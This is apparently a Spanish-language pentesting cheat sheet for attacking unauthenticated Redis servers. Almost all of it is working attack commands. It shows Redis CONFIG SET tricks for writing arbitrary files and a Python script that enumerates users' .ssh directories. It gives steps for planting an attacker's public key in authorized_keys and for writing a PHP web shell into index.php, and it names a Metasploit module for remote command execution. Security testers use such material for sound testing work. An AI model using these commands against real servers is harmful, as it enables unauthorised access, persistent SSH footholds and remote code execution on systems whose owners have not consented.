telnet <target> 6379
echo "verificación de autenticación"
$31
verificación de autenticación
quit
+OK
Connection closed by foreign host.
redis-cli
redis-cli -h <target> -p 6379
INFO # obtiene información general de Redis
CONFIG GET dir # obtiene directorio actual
CONFIG SET dir "/<path>/" # realiza cambio de directorio
-h = host.
<target> = objetivo.
-p = puerto 6379/TCP.
Modificación de archivo
redis-cli -h <target> -p 6379
CONFIG SET dir "/<path>/" # directorio del archivo a modificar
CONFIG SET dbfilename "<file-name>" # selecciona archivo a modificar
set <any-name> "contenido a modificar en archivo" # modifica contenido de archivo
save
-h = host.
<target> = objetivo.
-p = puerto 6379/TCP.
SSH
Enumeración manual de usuario y su directorio
redis-cli -h <target> -p 6379
CONFIG SET dir "/home/<user>/.ssh"
-h = host.
<target> = objetivo.
-p = puerto 6379/TCP.
<user> = usuario.
Enumeración automatizada de usuarios y su directorio (script Python)
import redis
wordlist = "<path-wordlist-usernames>"
pathTemplate = "/home/%(user)s/.ssh"
RedisHost = "<IP>"
RedisPort = 6379
with open(wordlist, "r") as wl:
usernames = wl.readlines()
wl.close()
r = redis.StrictRedis(host=RedisHost, port=RedisPort, db=0)
i = 1.0
paths = []
for username in usernames:
u = username.strip('\r\n')
path = pathTemplate % {'user': u}
try:
r.config_set("dir", path)
paths.append(path)
print ("Found: %s" % path)
except Exception:
pass
print ("Progress: %2.3f%% \r" % ((100*i)/len(usernames))),
i += 1
Carga de llave publica en archivo "authorized_keys"
redis-cli -h <IP> flushall
cat id_rsa.txt | redis-cli -h <IP> -x set key-id_rsa
redis-cli -h <IP>
config set dir <directory-user>/.ssh/
config set dbfilename "authorized_keys"
save
redis-cli -h <target> -p 6379
CONFIG SET dir "/<path>/" # directorio del archivo a modificar
CONFIG SET dbfilename "index.php" # selecciona archivo a modificar
set <any-name> "<?php system($_GET['cmd']);?>" # modifica contenido de archivo
save
Exploits
Metasploit
use exploit/linux/redis/redis_replication_cmd_exec